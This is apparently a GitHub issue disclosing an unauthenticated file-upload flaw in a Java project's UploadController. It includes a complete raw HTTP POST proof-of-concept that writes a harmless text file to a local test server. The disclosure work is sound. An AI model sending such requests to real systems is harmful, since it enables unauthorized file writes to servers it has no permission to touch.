-
Notifications
You must be signed in to change notification settings - Fork 587
Description
UploadController.java Unauthorized file upload

No permission verification
`POST /tianti_module_admin_war/upload/ajax/upload_file HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 182
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0IMnvEkpJQueVY9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8000/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryr0IMnvEkpJQueVY9
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/html
1111
------WebKitFormBoundaryr0IMnvEkpJQueVY9--
`

Successfully unauthorized write to file